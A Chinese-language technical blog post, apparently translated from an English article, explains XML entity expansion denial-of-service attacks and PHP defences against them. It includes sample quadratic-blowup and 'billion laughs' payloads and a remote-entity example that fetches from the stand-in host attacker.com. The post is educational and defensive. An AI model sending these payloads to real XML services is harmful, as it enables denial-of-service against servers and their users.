XML 實體擴充套件攻擊

OneAPM藍海訊通發表於2016-03-24

XMl Entity Expansion(攻擊)某種程度上類似於 XML Entity Expansion,但是它主要試圖通過消耗目標程式的伺服器環境來進行DOS攻擊的。這種攻擊基於XML Entity Expansion實現,通過在XML的DOCTYPE中建立自定義實體的定義實現,比如,這種定義可以在記憶體中生成一個比XML的原始允許大小大出很多的XML結構,來使這種攻擊得以耗盡網路伺服器正常有效執行的必需記憶體資源。這種攻擊方式同樣適用於HTML5的XML序列化功能模組,該模組當前還不能被libxml2擴充套件包識別為HTML。

XML Entity Expansion舉例

要擴充套件XML自定義實體以達到預期的耗盡伺服器資源效果有好幾種方式。

Generic Entity Expansion

通用實體擴充套件攻擊

通用實體擴充套件攻擊同樣被稱為“Quadratic Blowup Attack”,使用這種方式時,自定義實體被定義為一個極長的字串。當檔案中大量使用這個實體時,該實體在每次呼叫時都會進行擴充套件,生成一個大幅超出原XML所需RAM大小的XML結構。

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

通過平衡自定義實體字串大小和文件主體內使用實體數量,可以建立一個擴充套件至佔用伺服器可預測RAM空間大小的XML文件或字串。通過這樣重複請求來佔用伺服器RAM,就可以發動一次成功的拒絕服務攻擊。該方式的缺陷是,由於產生記憶體消耗效果是基於簡單數乘的,因此初始XML文件或字串本身需要足夠大。

遞迴實體擴充套件攻擊

通用實體擴充套件攻擊需要足夠大的XML輸入資料量,而遞迴實體擴充套件攻擊的平均輸入位元組能產生更強力的攻擊效果。這種攻擊方式依賴於XML解析器來解析,從而完成小實體集的指數級增長。通過這種指數爆炸性增長方式,一個比通用實體擴充套件攻擊使用小得多的輸入資料量實際可增長得極大。因此這種方式被稱為“XML Bomb”或是“Billion Laughs Attack”也是十分恰切的。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

XML Bomb攻擊並不需要可能會被程式限制的大量XML資料輸入。實體集像這樣指數倍增長,最終形成的擴充套件後文字大小是初始 &x0實體值的2的100次方倍。這著實是一個龐大且毀滅性超強的炸彈!

遠端實體擴充套件攻擊

常規和遞迴實體擴充套件攻擊都依賴於XML文件型別定義中定義在本地的實體,但是攻擊者同樣可以進行外部實體定義。這很顯然需要XML解析器能夠像我們之前在描述XML外部實體注入式攻擊(XXE)時遇到的那樣,發起遠端HTTP請求。而拒絕這種請求對你的XML解析器而言是一種基礎的安保措施。因此,防禦XXE攻擊的措施同樣適用於此類XML實體擴充套件攻擊。

雖說可以通過上述方式進行防禦,遠端實體擴充套件通過使XML解析器發出遠端HTTP請求來獲得被引用實體的擴充套件值來進行攻擊。返回結果將自行定義其他XML解析器必須另行HTTP請求的外部實體。如此一來,一些看似並無攻擊性的請求會迅速脫離控制,並給伺服器的可用資源帶來負擔。這種情況下,如果請求自包括一個遞迴擴充套件攻擊,那最終結果會更加糟糕。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>

上述攻擊手法還有可能更加迂迴地進行DOS攻擊,比如,遠端請求被調整到針對本地程式或其他任何共享其伺服器資源的程式。這種攻擊方式可能造成自我損傷式的DOS攻擊,其中, XML解析器嘗試解析外部實體可能會觸發無數針對本地程式的請求,並由此消耗更多的伺服器資源。該方式因此被用於放大之前討論過的關於使用XML外部實體注入式攻擊(XXE)以完成DOS攻擊的攻擊影響。

針對XML實體擴充套件攻擊的防禦措施

下列常規防禦措施,是從我們針對普通XML外部實體攻擊(XXE)的防禦措施繼承而來的。我們應當拒絕XML中自定義實體對本地檔案和遠端HTTP請求的解析,並可使用以下可全域性應用於所有內部使用了libxml2函式的PHP或XML所書寫擴充套件的函式進行拒絕。

libxml_disable_entity_loader(true);

誠然PHP以不按常理出牌著稱,它並不使用常規的防禦方式。常規的防禦方式在文件型別宣告中,使用XML的文件型別定義來完全拒絕通過自定義實體的定義。PHP也的確為防禦功能定義了一個替代實體的LIBXML_NOENT常量,以及 DOMDocument::$substituteEntities 公共屬性,但是使用這兩條定義的防禦效果不甚明顯。似乎我們只能這樣將就解決問題,而沒有任何更好的解決方案。

雖說沒有更好的方案,libxml2函式也確實內建了預設拒絕遞迴實體解析。要知道遞迴實體要是出了問題可是能讓你的錯誤日誌”咻”地一下跟點亮聖誕樹一樣全面飄紅的。如此看來,好像也沒必要特意針對遞迴實體使用一種特殊防禦手段,儘管我們是得做點什麼來防止萬一libxml2函式突然陷回解析遞迴實體的故障裡去。

當下新型威脅主要來自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻擊方式。此類攻擊方式不需要呼叫遠端或本地系統,也不需要實體遞迴。事實上,唯一的防禦措施要麼是不用XML,要麼是清理過濾所有包含文件型別宣告的XML。除非要求的文件型別宣告接收於安全的可信源,否則最安全的做法就是不用XML了。比如,我們是由同行驗證的HTTPS連線接受的。否則,既然PHP沒給我們提供禁用文件型別定義的選項,那我們就只能自建邏輯了。假定你能呼叫 libxml_disable_entity_loader(TRUE),那麼後續程式執行就是安全的了,因為實體擴充套件這一步已經被遞延到被擴充套件影響的節點值可被再次訪問的時候了(然而勾選TURE以後永遠都訪問不到了)。

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new InvalidArgumentException(
            `Invalid XML: Detected use of illegal DOCTYPE`
        );
    }
}

當然啦,在 libxml_disable_entity_loader 被設定為TRUE的前提下,以上程式碼才能正常執行,設定後XML初始載入的時外部實體引用就不會被解析了。除非解析器自己有一套全面的針對如何進行實體解析的控制選項,否則XML解析器不依賴libxml2函式進行解析時,恐怕這就是唯一的防禦措施了。

如果你想使用SimpleXML函式,記得用the simplexml_import_dom()函式來轉換核驗過的DOMDocument專案。

原文地址:Injection Attacks

OneAPM for PHP 能夠深入到所有 PHP 應用內部完成應用效能管理 能夠深入到所有 PHP 應用內部完成應用效能管理和監控,包括程式碼級別效能問題的可見性、效能瓶頸的快速識別與追溯、真實使用者體驗監控、伺服器監控和端到端的應用效能管理。想閱讀更多技術文章,請訪問 OneAPM 官方技術部落格
本文轉自 OneAPM 官方部落格

相關文章